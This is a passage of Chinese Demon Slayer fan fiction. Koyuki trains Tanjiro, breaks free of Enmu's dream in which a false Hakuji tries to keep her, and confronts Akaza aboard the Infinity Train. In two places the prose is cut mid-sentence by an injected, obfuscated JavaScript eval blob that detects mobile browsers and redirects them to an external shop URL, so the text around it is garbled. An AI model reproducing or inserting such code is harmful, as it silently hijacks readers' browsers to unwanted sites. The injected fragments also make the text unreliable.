恋雪左右环顾一番,莞尔:“看来今天真菰前辈和锖兔前辈不在,我来帮你训练怎么样?” “诶诶,可以吗?” “包在我身上,灶门君你有什么问题就尽管问我!不过一边实战一边讲解会好一些,灶门君,还请出剑。”她信手折下一道竹枝,对上炭治郎的木剑。 剑光荡开,铿锵之声在竹林回荡。 不知不觉间已过去一个下午,夜色如纱笼下。 “灶门君对水之呼吸已经算很熟练了。我来教你一些额外的内容怎么样?” “请素山小姐务必要告诉我!” “水之呼吸千变万化,以柔克刚,而且和炎之呼吸一样,修行者很容易从中找到开创新的呼吸法的灵感。” “新的呼吸法?” “是的,我最近就在研究,演示给灶门君你看看如何?” 她仍是手执方才的竹枝,在沙中描画,为炭治郎讲解了几句怎样派生新招式的思路,随后,淡蓝的剑锋出鞘—— 雪之呼吸,一之型,千树花弁雪。 这一型是完全从水之呼吸派生出来的招式,是水凝成的雪。剑光纷扬,如风吹花瓣雪,一剑霜寒,千树万树梨花开。 雪之呼吸,二之型…… 炭治郎眼中倒映着漫天光辉,不禁称奇:“素山小姐的雪呼二之型简直如同万华镜烟花一般。” 雪光飞扬激荡,在夜幕中迸发出光的洪流。飞雪席卷,渺茫的夜中,闪出浅濑的天青、深海的绀蓝、青金石的色泽,纷繁颜色一同向外放射,此身如置烟花的万华镜。 火花团团,一朵连着另一朵,灼灼,轰轰烈烈,一整个天际都是那华光在回旋、流转。 “没错,二之型我取名为雪国万华镜,一部分灵感来源于炎之呼吸——两种呼吸是可以结合起来的。而且灶门君观察得很仔细,另一部分灵感来源就是烟花。钻研新的呼吸法时可以把自己熟悉或心爱的事物融入其中,越是记忆中不可磨灭之物,越会有意想不到的好效果。” 熟悉或心爱的事物。记忆中不可磨灭之物。 一瞬间,炭治郎脑海中闪过幼年时观看火之神乐舞。 他顺着这个话题问道:“这个名字听起来像是在冬季花火大会看烟花,素山小姐是喜欢冬季花火大会吗?” 恋雪摇了摇头:“我没去过冬季花火大会,不过是单纯地喜欢烟花而已。这一型听起来像冬季花火大会,只是我加上雪国两个字后的巧合,因为……雪之呼吸的术型名字只有烟花,完全和雪不沾边的话也太奇怪了吧。”她眨眨眼,笑道。 诶,为什么素山小姐喜欢烟花却没去过冬季花火大会?毕竟冬天的花火大会也是一年中的盛事。 看出炭治郎眼中的疑问,恋雪道:“以前我身体不太好,家人不放心让我冬天出门。现在虽然康复了,却一直抽不出空来,冬季的夜晚更长,鬼杀队任务比夏天要重一点点。” 她眼中闪过怀恋的神色:“不过我有他们陪我去看夏天的烟花的记忆,那对我而言已经足够珍贵,我会一直回味。” 似乎闻到素山小姐身上有落寞的味道。 “原来是这样,”炭治郎握拳道,“等我通过选拔后,如果能和素山小姐一起在冬日行动的话,我会努力斩杀恶鬼,让素山小姐可以早点结束任务,回家和家人去看烟火!” 恋雪一顿。 真是个懂事的好孩子。 “谢谢炭治郎君,那我就拭目以待了。” 她笑眯眯地说着,却转身而去。 方才指点炭治郎,她将随身的挎包暂时放在一旁,对练结束,她拎起那挎包,取出一本极厚的册子来—— “这是我在实战中整理的关于水之呼吸心得的笔记,知道我们水之呼吸有了新的师弟之后,我一直记着要把这份笔记带回来给你看呢。如果灶门君你感兴趣的话,后面还有一些炎之呼吸的内容,我接替了甘露寺前辈的位置,现在是炎柱炼狱先生的继子。” 这还没完。 “还有,这是义勇师兄的份,”言罢,恋雪又拿出另一本更沉更厚的笔记,纸页微微泛黄,大约笔耕不辍记录了有好几年了,“听说我要回来看望鳞泷先生和你,他把他的心得也交给我了。” 义勇的笔记跟随他甚久,装书的线已经老化。恋雪问过他之后,重新装订了一番,又用深蓝织物包了个书衣。 以前在小学,她制和服剩下来的料子便经常用来给孩子们包书衣。 两大本装订精美的笔记,垒起来如同一个节庆时分装满了各色寿司、饭团、果子的多层食盒。 恋雪温婉一笑:“我攒了三天的假期,后天就抽查炭治郎君你怎么样?” “咦?!” “小雪你也太可怕了吧,这是以前当老师时留下的职业病啊。” 少女的声音从二人身后传来。 雾中出现了两道人影。 是真菰和锖兔。 “没有没有,我以前教的是小学,我给小学的孩子们不会布置这么多作业的。但看炭治郎君的年纪已经算中学生了,中学生会稍微辛苦一点。” “这已经不是‘稍微’了吧?总觉得小雪有时候很可怕,唉,炭治郎君你就在‘恋雪老师’的教导下好好加油吧……”尽管没能升入中学,但三天速通两本堪比辞典的笔记,她怎么看这都不是“中学生”会有的课业量。 真菰只是嘴上说说,锖兔的剑却已经抽了出来。 “既然素山回来了,炭治郎你就趁这三天好好接受我们三个人的特训,第三天一鼓作气地把那石头劈开,去通过选拔好了。” 真菰侧目。 险些忘了这还有一个和里形态的小雪一样可怕的家伙。 然而—— 已经将笔记接过的炭治郎:“富冈先生的笔记好仔细,原来如此,我以前想不通的地方,看了富冈先生的笔记后稍微有点开始明白了……素山姐的笔记还有插图,原来这个动作还可以这样……咦,除了炎之呼吸,还有一章是关于武术的,哦哦,是‘选修’,不过这个素流派的招式好厉害,我还是一起学了……” 好吧,是三个可怕的家伙! * 月台上,灼烧着金橙炎火的一刀干脆利落地将恶鬼头颅斩下。 然后更干脆利落地,拥有着这炙热炎火的男人买下了三十多份便当。 虽然说一半都让另一位队员带回去给鬼杀队本部的各位了,但这还有十几份呢,炼狱先生你一个人吃这么多便当真的不会噎着吗……正执起筷子准备吃自己那份便当的恋雪,如是想道。 “美味!” 又过了五分钟。 依然是——“美味!” 终于,恋雪缓缓盖上便当盒,站起身来微笑道:“炼狱先生,果然我还是去餐车间给您倒一杯水吧。” “那就麻烦素山你了——美味!” 啊,炼狱先生还在吃便当,完全没有停下来呀。 炼狱杏寿郎是她目前在鬼杀队追随的柱。 本部原来安排她去同为水呼的富冈义勇门下继续训练,鬼杀队里其他人也都想着,富冈大约会把素山收为继子。 但出乎众人意料地,富冈虽然一直认真指导着素山,却并没有提出要指定她为继承人。 于是某一天…… “素山你就来当我的继子吧!”发现了恋雪惊人才能的杏寿郎如是说道。 当然,他说这话时完全没有要和水呼抢人的意思,只是看出这个后辈外表虽然文弱,心中却燃烧着赤诚的情感,璞玉浑金。于是他直截了当地开口了!毕竟富冈也没有要收素山为继子的表示,他的邀请完全堂堂正正。 得知此事的义勇依然没有什么表情,只淡淡对她道,素山,或许你去跟着炎柱能学到更多东西。 相处两个月,其实她能看出义勇前辈冷淡的面容下藏着什么心事。但他如今不欲对人倾露,她尊重他,不想贸然打扰他的内心。或许以后有了合适的时机,她再尝试一问。 离开义勇宅邸那一天,她向义勇深深鞠了一躬:“感谢师兄两个月来的指导,我受益匪浅,感激不尽。师兄和锖兔前辈一样都是很可靠很强大的人。” 听见那个名字,义勇的眼眸微微动了动。 素山为什么会知道锖兔? 或许,是师父把那些往事当作告诫告诉了她。 本不应成为水柱的他,又怎么有资格去培养一个继子。 “炼狱还在等你。” 呃,炼狱先生还在等我,然后……?唉,义勇前辈还是这样喜欢说话总说一半呀。 她抬起头来对义勇笑道:“那我就先走了,师兄。不过我平时完成任务后还会常来拜访你的。下次再发现有好吃的萝卜鲑鱼的店的话,我再告诉师兄。我们叫上蝴蝶屋的大家一起去吃。” 似乎没想到她会提起萝卜鲑鱼,半晌,义勇才吐出一个字:“好。” “原来富冈喜欢吃萝卜鲑鱼,不错,我也觉得萝卜鲑鱼很是美味!”宅院门口,前来领她去参加炎呼训练的杏寿郎敏锐地捕捉到萝卜鲑鱼这个信息。 “萝卜鲑鱼很好吃哦,炼狱先生和师兄英雄所见略同。下次请炼狱先生也一起来吧。”她迈过门槛,再度回头对义勇微微躬身致意,终于随杏寿郎一起离开。 和水呼强调内心的平静不同,进行炎之呼吸训练的日子是一段充满活力的日子。 她所钻研的雪之呼吸里部分招式,也是得益于追随杏寿郎的修行。 炼狱先生是个太阳般的人。 如果再夸张一点,说太阳像炼狱先生其实也说得通呢。 他慷慨地洒下光与热,在他身边,心灵会自然而然地亮堂起来。 一位强大、赤诚、体贴的剑士,很容易吸引到他的钦慕者。就像恒星吸引行星,或者说,就像现在这样—— 她去餐车间的短短十分钟,杏寿郎身边又围了三个一脸崇拜的小少年。 “炭治郎君,你和你的两个朋友也来参加这次任务吗?” “哟,素山你回来了!刚才我们在车厢上已经斩杀了大概五六七八个鬼了。” 诶,她就去倒一杯水的功夫,炼狱先生已经带着孩子们杀鬼了?实在太有燃烧心灵的激情了,不愧是熊熊燃烧的太阳…… “大家真是了不起,这样无限列车上应该暂时没什么风浪了,”恋雪笑着将茶水递过,似乎想起什么,“请问刚才车掌先生有来过吗,我去了一趟餐车间,还没检票。” 重返阳世接近三载,她的面容比十六岁时更显出清丽轮廓,眉弯新月,面如真珠,双颊线条纤秀柔和,天鹅般洁白瘦颈没入鬼杀队制服的黑色领口。 车窗外的银河夜色随列车行进奔涌,落入那双梅花形的瞳中时,却轻柔化为盈盈的流动。在这双花形的眸里,蕴藉着所有的温柔、静谧、宽容。 “车掌刚走,不过他为了查票应该会再返程一趟的,素山小姐不用担心。”炭治郎身旁那位黄发少年简直是在抢答。 平日的旅途中,炭治郎也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16897378|192271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和我妻善逸、嘴平伊之助说起过一些他自己的事情。 祢豆子,他的父亲母亲,弟弟妹妹,老师鳞泷,师兄师姐。他曾说起目前在鬼杀队中除了义勇,他还有一位叫恋雪的师姐。 “喂,你就是权八郎说的那个在自己钻研呼吸法的女人吧,本大爷也有自己研究的呼吸法,我们来一决高下吧!”说着,伊之助就要把刀抽出来。 呃,这位套着野、不是,小猪头套的后辈真是气势汹汹,充满活力呀……恋雪微笑。 “住手啊伊之助你太失礼了,你脑子里装的都是些什么啊,”善逸死死将他抱住,目光对上恋雪时又变得十分谄媚,“素山小姐,久闻大名!在下初听炭治郎提起素山小姐的名字时,便一直将如此美丽的名字记在心中,不能忘怀……” 炭治郎连连向恋雪鞠躬道歉:“抱歉素山姐,他们实在是太……!” 善逸很是不服:“什么他们,炭治郎你这家伙,我比伊之助有礼貌多了好不好!素山小姐你觉得呢,我比伊之助要绅士很多吧?” 伊之助恶寒地退远了一步:“善逸你好恶心。” “黄发少年,你说话可要有分寸一些!素山她是有家室的人,她在鬼杀队聚会的真心话大冒险里说的,”雪上加霜一般,杏寿郎光明正大地插了一句嘴,“听素山说她丈夫是一位武道高手,追求素山的话,你要掂量掂量。” “什、什么?素山小姐你有丈夫!到底是谁,能取得素山小姐这位美人的芳心……噢,是一位武道高手……”被伊之助嫌弃时善逸毫无反应,但杏寿郎此言一出,如同一记无情暴击,太阳撞击小行星一般捶打在少年脆弱的心灵上。他的双眼一下子失去光芒,说话都开始颠三倒四。 “诶,素山姐居然已经成婚了吗?!” “你这个女人和你的丈夫一样也是武道高手吗,和我一决胜负吧我在山里也修行出了野兽的武道!” “伊之助你怎么还在执着这件事情……” 面对这三个闹闹腾腾的孩子—— “是、是,不止我丈夫,我也略通武道。等这次任务结束后,我可以把我们家的武道教给大家哦。大家都很有活力,年轻人就要这样朝气蓬勃、充满热情,这次的任务我们一起加油吧。”恋雪挨个摸了摸他们三个人的脑袋。 炭治郎害羞,善逸傻笑,伊之助也平静下来,四周浮出奇怪的泡泡。 多么温馨平静的一刻,直到…… 杏寿郎爽朗大笑:“素山说得不错,就要这样朝气蓬勃、充满热情、士气高昂、光芒万丈地完成任务,然后堂堂凯旋!” 炭治郎内心:炼狱大哥你怎么还自行添加了这么多修饰词啊! 恋雪抬手在唇边虚拢着拳,眉眼弯弯,轻笑一下:“炼狱先生很有当诗人的天赋。” 众人正说笑着,车厢门开启,车掌返程检票。 她待人一向礼貌,对上列车的车掌,也是真诚地注视着。 但—— 这位车掌似乎有些奇怪,是脸色不好吗,如此的苍白。 说起来,从餐车车厢过来的路上,她也遇到了几个和车掌一样苍白的孩子。她看出那几个孩子和曾经的她一样,患有肺结核。 计划着这次任务结束后回村庄看看孩子们,和炼狱先生在车站买便当的时候,她顺道在相邻的物产店买了一些金平糖和抹茶饼干。毕竟京都一带的车站手信可是很有名的。 偶遇这几个病弱的孩子,她心下一软,取出零食来问他们要不要尝尝。 然而他们警惕地跑开了。 咦?她自认很有亲和力,对孩子们更甚。 如今想来,那几个孩子似乎是看到她衣服上的鬼杀队标志才……而且罹患肺结核的孩子,没有大人看护着他们,竟是独自来乘坐火车么? 正生疑时,她脑海中再度响起那熟悉的平直声音。 叮一声,如水滴入她的心湖,一片警惕漾起。 【可攻略人物已出现,宿主是否绑定下弦之一魇梦?】 【请注意,该人物心性邪恶,请宿主谨慎考虑是否绑定,请宿主谨……】 下弦之一,魇梦。 脸色苍白的孩子和同样脸色苍白的车掌。 一根线在她脑中穿起,将散落的珠子串联。 哪里来得及搭理系统说的什么攻略,她立即道: “列车上有下弦鬼、下弦之一,他的能力可能和梦有关!” “大家刚才是不是检过票了,那个票有问题!务必打起精神,如果他的能力是梦的话,不要被催眠。” 车票散落,车掌扣下帽子,落荒而逃。 “可恶,那家伙跑了!”伊之助想追出去,被炭治郎连忙拉住。 赤色光焰一闪,杏寿郎已拔出刀来,把后辈们护在身后:“这种时候还是不要分散比较好,大家小心——” 轰。 深浓的漆黑铺天盖地罩下。 万事万物都无声了。 与此同时,车头。 碧眼红发尾的男人戏谑笑道:“哦呀,新一代的猎鬼人居然如此警觉吗,而且还有情报可以提前知晓我的能力。” “但这又如何呢,即使被你们察觉,只要我加大血鬼术的力度,你们依然会在梦中失去关于现实的记忆……” * 被炼狱先生介绍给柱们那一天。 夜间短暂的小聚结束之后。 和几位柱告别,居酒屋的一豆灯色在她身后远去,她独自走上回家的路。明明是七月,明明是夏夜,一路上却没有人声,没有虫鸣,仿佛幽境天成。抑或是,像一幕戏开场前的屏声寂静。 她走过一个转角。 有人从阴影中步出,似乎在此处等候已久。 他等她干什么? “和鬼杀队队友的聚会结束了罢,我来接你回去。” 他向她走来。 他向她走来。 他向她走来。 原来他是来接她回去,因不想打扰她的聚会,特意在下一个路口等待。 他不像世上大多数的男人,有了强健的体格便要装载蛮横的头脑,有了聪明的头脑便要发明滑腻的语言,他言简意赅,不爱表现,只在日复一日的凝望与照料中流露出他坚毅的柔情,如月下的修行僧,一尊白大理石的骑士。 眼前目下,他身上还穿着道场的道服,俨然一尊白大理石铸造的英雄。 她快步向他走去,挽过他臂弯,将脸轻轻贴在他坚实的大臂。 他臂上紧绷的青筋犹然可感。是因为刚在道场结束了一天的授业,还是即便结为夫妇三年了,他仍旧因她的主动触碰而情不自禁地紧张? 他既是她的武士,也是她掌中的小锡兵。 “明明我一个人回去也没问题,谢谢你来接我,狛治。”她仰起脸,向他笑道。 月凝在云幔里,像面纱后一滴雪白的悲喜泪。 为什么已经和他迎来了喜剧的结局,心中却依然如此悲伤呢。 4. 亡夫哥袭来(下) 他出现,太平洋的风终于吹来蝉鸣声声,夏夜人语。 风中有七月的线香,栀子香,菖蒲香,连同风铃的声音,琳琅。 他们携手返回素流道场,他和她的家。一路上,她挽着他的臂,对他道,她在这次任务中协力杀了一个下弦鬼,本部批了她好几天假期,他们可以共度一个小小的蜜月。她用新近传入的西洋词汇和他打着趣。 在二十世纪二十代的东京,依然保留着这座百年前的道场,实在难得。 枯山水,圆柏,石灯笼,小桥流水。 真奇怪,在她的记忆中,它似乎并没有这么华美和气派。甚至还专门辟了一间屋出来作接待室。 情不自禁地,她道:“这庭院打理得真好,狛治哥哥一定花了很多心思。” “嗯,我专门请了园丁。” 园丁?从前,不都是他一手操持着道场前那方小小的庭院么? 噢,如今狛治哥哥继承了道场,又要招徒又要授业,没空再亲自洒扫、修枝也很正常。 悠游的假期开始了。 她卧病时狛治照顾她衣食起居的习惯延续至今,味噌汤、烤青花鱼、腌萝卜和白米饭,盛放在黑木的托盘中,被一双坚实修长的手端到桌袱台上。 在她醒来时便能奉上早餐,狛治想必是比她还要早起一个小时,而且没有发出一点声响,不愿打扰她的睡眠。她都有些不好意思了,低下头,双手合十道:“狛治,明天请务必也让我来为你烹饪一点什么!” 狛治只是点点头,没有说话。 早餐后,收拾了餐桌,二人乘坐电车从町区到银座。 书店,珈琲室,电影院,无数新奇的喜乐如小小的白石的玫瑰,雕刻在他们二人小世界的穹顶上,即使身处热闹的人群,方寸之间也是世外的桃乡。 坐在公园的长椅上,远看车水马龙在淡金色的落照中朦胧地晃动着,仿佛天地都被一个巨大的五彩泡泡裹起。 长日过去,天色黑遍,入夜,榻榻米上散落着行灯袴、二尺袖、羽织、着物…… 莹润的淡粉光晕在灯下颤抖。 大理石像的重量压下,他的声音喑哑低沉。 他和她没有间隔。她和他没有距离。 但不知何解,遥遥地,她想起风铃挂在檐下,玻璃的韵律琳琅不休,草木在缘侧上洒落光影,小小的沙包,在一双长满茧子的少年的手中抛高起落,咫尺之间穿着白色道服的身影,有着镜花水月般的俊美。她所思恋的一切,如今是否真的穿越山和大海,回到她的命运中心,在她掌底化形? 今夜过去,明日依旧。良辰美景,不知岁月,山中方一日,世上已千年。 日复一日地,他们逛书店,看戏剧,看电影,他的手压着她的手,细细的洁白的糯米粉簇簇洒落,交叠的手心捏着一枚又一枚圆滚的大福。 昨天是红豆汤,前天是年糕,大前天是萩饼,大前天的再早一天是……似乎,很久没听到她那只小鎹鸦的声音。 终于,有一日,她问他:“狛治,你不用回素流训练和授业么?总觉得你陪着我很多天了,太久了呀。” 听到她提起素流道场,面前的人停一下,如同电影的胶片带微微卡顿。他道:“不用,我一直,一直陪着你。” “狛治这么贴心,放下工作陪了我这么多天,我很感动。但我们都还有任务……”嗯,什么任务?她想了想,一时没想起鬼杀队最近指派了她什么任务,便笑道,“我们都还有各自的事情要处理,如果狛治一直在这里陪着我而生疏了武技的话,我可是会很自责的。” 她转过身来,拍了拍围裙上的糯米粉:“而且,我也是时候要回鬼杀队了,大家都还在等我。” 她解下围裙,执起一方手帕,也为他擦去了颊边的糯米粉:“这个假期我过得很开心,谢谢你,狛治。” 恋雪笑道:“好啦,吃完今天做的点心,收拾一下,我们都要回去充满干劲地工作了,我们一起加油吧!” 言罢,她端起那盘做好的大福,从他身侧走过—— “既然开心的话,就留下来吧。” “哈哈,狛治哥哥你也会说这么缠人的话吗。” 但那僵硬的背影只是重复着:“既然开心的话,就留下来吧。我不想再看你去鬼杀队冒险。” 她不知他为何说这样的话,但仍耐心地解释着:“鬼杀队的工作意义重大,恶鬼伤人,我们不能坐视不理。而且我的病全都好了,在鬼杀队发挥着自己的一点能力帮助别人的日子,我很开心。你和爸爸,也是这样想的吧,用双手去帮助别人……” “不要再去鬼杀队了,留下来在我们的‘家’里,你是我的妻子,我是你的丈夫。” “真是的,狛治哥哥你再这么说的话我可要生气了,”她心中疑惑更浓,但面对着爱人,仍宽和地微笑一下,她权当他在撒娇罢,“嫁为人妻也可以有自己的事业和工作呀,鬼杀队队员和狛治的妻子这两个身份我都觉得很骄傲。” “是因为你的病好了吗,所以才有这么多其他的‘思想’。” “什么?” 托盘中的大福,一个个圆润饱满,圆满而甜蜜。但点心连同托盘,一瞬间都在她手中融化了。 “留下来吧,恋雪。”他转过身,俊美面容依旧如同白大理石般,没有任何颜色。 墙壁倒下,厨房在他身后崩塌,如同潘多拉之盒的盒盖被揭开,露出框着湛湛青空的小小缘侧。蝉鸣悠远,化作戏台上的伴奏,从仿佛世界尽头一般的远方传来。 他穿着白色的道服,她穿着浅粉的小袖。 疼痛从她瘦弱的胸膛中升起,低热蔓延了她全身,她的体重在迅速地减轻—— “咳、咳咳!” 她努力观察周围的环境,但因为低烧,视线越发模糊,待终于看清,围着她的,俨然是一百年前那一袭被褥。 是肺结核……她早已摆脱的疾病,回到了她身上。 头痛欲裂。 “恋雪,你生病了,让我一直照顾你,好吗?” “恋雪,不要再去鬼杀队了,就和我一起,一直待在这里吧。” “恋雪,我爱着你,我会一直照顾你,直到永远……这不也正是你渴求的吗,永远和我在一起。” 午后的阳光与熏风中,少年身着白色道服,一步步向她走来。 她永远思恋着的旧年一幕,在她眼前重演。 一直照顾她,永远陪着她,他爱着她,二人永远在一起。多么动听的誓言。 但此刻,她心底涌起的只有强烈的厌恶。 “你怎么敢、怎么敢……咳、咳……”胸口太过疼痛,她下意识想捂住心口,但浅红的血,已溅到她的掌间。 无限列车,下弦之一,梦的血鬼术。 她全都想起来了。 眼前一切皆为虚妄,哪里还有她的……素流道场。它早已没入荒野,她不是亲眼看过了吗? “不要再说话了,恋雪。你病得太严重了。”眼前的少年一脸关切地半跪而下,急忙扶住她的背,口中仍一句句地亲昵称呼着她,恋雪。 “放开……!放开我!”她眉头紧皱,啪一声挥开这伪装的幽灵的手,强撑着就要站起来。 但卧病的日子里没有狛治的帮助,她根本站都站不起来。 一口鲜血又咳到了她掌中。 她一直咳血,一句话也说不出来,但一向温柔的眼,此刻仍愤怒地极目瞪视着眼前这幻影。 “他”的手托起她苍白的脸,手上力道一收,如同禁锢一般:“留在这里,和我永远在一起吧,哪里都不要再去了,沉入这静谧而美好的永恒梦境之中。” “狛治他……不会对我说这种话……” 又是一片鲜血从她喉中咳出。 “无论、咳,无论我做什么,他都尊重我、鼓励我、支持我,他绝对不会束缚我……我不允许你伪,咳、咳……”然而她根本说不出一句完整的话,只能无力地咳嗽。 “是吗……” “恋雪,你看,这是你最心爱的烟花。” “在这个世界有永远盛放的、永不熄灭的烟花,你还不满意吗?” 长着狛治皮相的幻影,英俊面容上浮出一个爱意深浓的微笑。 待看清发生了什么,一瞬间,她的瞳缩小了。 青空迅速消失,天黑了。 轰一声,一朵烟花在他身后的夜空亮起。 猩红的焰丝绞着夜空,漫天的烟花如同无数漩涡在旋转。 那烟花的幽光如深浓血色,一点点自光轮边缘渗出,满溢天际。 我背着你去桥边看花火大会吧。 就算今年不行,等到了明年、后年也一样有花火大会可以看,只要等你病好了,再去就是。 选择我真的可以吗? 恋雪,我要变得比任何人都强,一生一世守护你。 但回忆里的人早已不在,在她眼前的,是一张模仿他的虚假笑面。望着那漫天扭曲的花火,她浑身都在颤抖,苍白的手紧紧握住被子一角—— 被褥里有东西。 冷厉,锋锐。 是刀。 是因为已经愤怒到无以复加吗,这与世无争的虚假的桃源里甚至出现了她的刀。 她心爱的日轮刀,出现得这么及时……正、合、她、意。 “恋雪,你病了,不要再挣扎。和我在这里,看着永恒的花火大会吧。”眼前的赝品仍自顾自地,温柔着、体贴着。 真丑陋,真恶心,真是罪该万死。你这个怪物、幻影,我不允许你,我不允许你…… 摇摇晃晃地,她握着日轮刀,终于,站了起来。 血从她唇边蜿蜒而下。她的面容,一直娴雅文静,花树堆雪般美丽,但此刻因为愤怒,她雪白的颊边已浮出一道青筋,烟花的红光映照于她身,站在一片红影中的人,如同浴血的持剑天女。 “我不允许你伪装成他!” * “这个女人……是因为抱有警惕,所以在梦中无法篡改她鬼杀队的身份吗,不得不重新编造她的回忆,所以全都漏馅了……而且即使扭曲她的梦境,她也没有绝望心死。真难缠,我引以为傲的血鬼术,在她的梦里全都崩坏了……啊,那个柱似乎也不受控制呢,另外几个小子也因为事先有心理预警快要醒了,啧,我创造的梦,第一次这么短暂啊。” “等一下,这个女人梦里的人似乎是——” 还没等魇梦细看,炭治郎的刀已席卷着熊熊烈焰劈到眼前。 * “你是祢豆子妹妹吧,伊之助君和炭治郎君去找那个下弦了,炼狱先生在前面,我和你还有善逸君一起把后面车厢处理干净!” “我来前已经把两节车厢的血肉斩断了,还有最后一节,等处理完这些恶心的东西,我们就把所有车厢的乘客救出去。” 爬满血肉的车厢里,她为鬼少女和善逸切下了一条正向他们偷袭而来的触手。 这个孩子也和炭治郎君一样,很有实力。 虽然没能亲手去斩杀那个该死的下弦一很遗憾,但她决定听从炼狱先生的安排。因为大家脱离了那个恶鬼的计划、提前醒来的缘故,他现在似乎特别愤怒,后面车厢中全是狂甩乱舞的触手,威胁着众多乘客。 但他的愤怒,也意味着他失去了掌控全局的耐心,炭治郎和伊之助应该没问题……! “唔嗷!”鬼少女咬着竹筒,只能含糊地吐露一些字节,但战斗起来和她配合无间。 正劈砍间,一阵强烈的摇晃后,尖利哀鸣从车头的方向传来。 “是炭治郎他们把下弦一解决了,”恋雪紧握着刀,回头对祢豆子和善逸道,“列车很可能要翻倒了,大家一起保护好那些乘客——” 漆黑巍峨的车身在铁道上擦出汹汹火花。 她纵身一跃,抱住了一个即将从车窗飞出去的孩子。 更多的男女老少,被她和祢豆子、善逸协力着从车厢内救出。 忽然—— “善逸君,祢豆子妹妹的身体是不是变小了?” “诶、诶,祢豆子!” 善逸回头一看,刚才还是少年身姿的祢豆子已经变成了一个小女孩儿,行动也迟缓了很多,眨着无辜的圆圆的大眼睛。 “是刚刚使用血鬼术消耗太大了吧,祢豆子妹妹,你很努力了,谢谢你,”恋雪皎洁的额头轻轻抵着祢豆子的额,又摸了摸善逸的头,“那就拜托善逸君照顾一下祢豆子妹妹了,我去前面看看,前面几节车厢还有乘客。” “好、好的素山小姐,祢豆子就包在我身上,毕竟祢豆子可是我心爱的未婚妻啊!” “呃,这,善逸君你……”恋雪无奈一笑,“罔顾女孩子意愿,张口就说人家是女友、未婚妻可是不行的哦,等以后祢豆子妹妹恢复意识了,你再光明正大,堂堂正正地追求她吧。”尽管祢豆子现在是鬼,但她相信这个身为鬼依然葆有善心的、勇敢的女孩有一日一定能恢复人的意志。 “总之,我走了,后面两节车厢的救援和祢豆子妹妹就拜托善逸君你了。” “嗯!”善逸重重一点头。 等他再抬头,美丽又可靠的前辈早已快步前进。 救出越来越多的乘客,沿途醒来的人们都在向她点头致意、连声道谢,她也向大家微笑着点点头回礼,继续向下一节车厢走去。 一节又一节的车厢在她身后远去了。 已经快到车头处。 “轰——” 列车翻倒,早已断电,没有了灯光。虽然隔着一层玻璃,但那一瞬的赤金光芒比灯火更灼热,照亮了她的脸。 炼狱先生? 她忙向车窗外看去,又一声轰鸣,前方腾起一片强悍的青蓝色光流,将炎之呼吸挡了回去。 怎么回事,难道还有鬼?按照系统的情报,应该只有下弦一才对,难道是下弦之一还没有死—— 不对,看那回击的青焰,比下弦之一悍烈和恐怖千万倍。糟了,她要赶紧到炼狱先生和炭治郎他们身边去支援。 恋雪安顿好一对母女,提起日轮刀,忙向车头的方向奔袭而去。 夜色冥冥,烟雾飘散。 映在她眼中的,是形貌妖异的上弦鬼。 “杏寿郎,你还是变成鬼吧怎么样。” 赤狱红莲般粉红的发和睫,泛着淡淡青色的、行尸般的肤色,金瞳阴冷,左右各刻着“上弦”和“叄”的字样。一道道深蓝刺青如藤蔓爬满了他俊美的脸,甚至那花豹般的身躯上,也满是罪人的刺青。 淡青、粉红、金黄、深蓝,他身上的颜色浓郁妖丽,像万古长夜里升腾起的幽艳鬼火。 他的容貌依然定格在十八岁的时候。 和她一起去看花火的十八岁。 答应她求婚的十八岁。 执起她的手说会一生一世守护她的十八岁。 披着梦中人皮囊的,是位列上弦之三的恶鬼。 她的心一阵战栗,只觉冷汗顺着她的脊背不断流下。明明刚才在梦中和幻影作战、在车厢劈砍血肉的时候,纵使汗流满面,她也专心致志,全然不察汗水浸湿了衣服。 这不可能,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16897379|192271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能……是下弦一血鬼术的噩梦还没有结束吗? 【请注意,可攻略人物下弦之一魇梦已下线。】 【可攻略人物已出现,宿主是否绑定上弦之三猗窝座?】 系统平淡地在她脑中陈述血淋淋现实。 不是梦。 几乎一瞬间,她明白了过来——他变成了鬼。 狛治哥哥变成了鬼。 他现在是……上弦之三,猗窝座……她浑身都打着冷战。 难怪、难怪她没有打听到关于素流道场的任何消息,因为在那之后,道场就无人支撑了吧。没有了继承人,当然如昙花一现消逝在百年光阴中了。 鬼舞辻无惨引诱她的爱人堕入了鬼道。 她的复活,是否就是为了亲眼见证这在现实上演的噩梦? 罗针察觉到斗气,那幽幽的金瞳转目向她瞥来。 “女人?”上弦之三嗤笑一声,“区区弱者还是快离开这里。” 因为恐惧,所以这个女人眼中甚至泛出了泪水。 女人果然是弱小的生物。 她们是草上的露珠、阁中的瓷像,只要轻轻一捏便会破碎。弱小可怜,毫无力量,百年来,他从未正视过她们的面容。所有女人在他眼里都是面目模糊的,如落了灰的织锦,不值得一看。 但这个满眼泪光的女人,却依然握紧了手中的日轮刀。真是可笑,即使恐惧得流下泪水,也要硬撑着和他作战? 一百多年来,他第一次看清一个弱者的脸。一张女人的脸。 纤瘦的身体,乌黑的发,苍白的皮肤,盈满泪水的梅花形的瞳,真是纤弱、可怜,不值一提。 “素山是我得意的继子,不是‘弱者’!真正的弱者,是你这个为了虚荣的力量而伤害无辜的恶鬼。” 他身后,灼热的炎之呼吸气浪再度涌来。 哦,差点忘了杏寿郎还在此处。 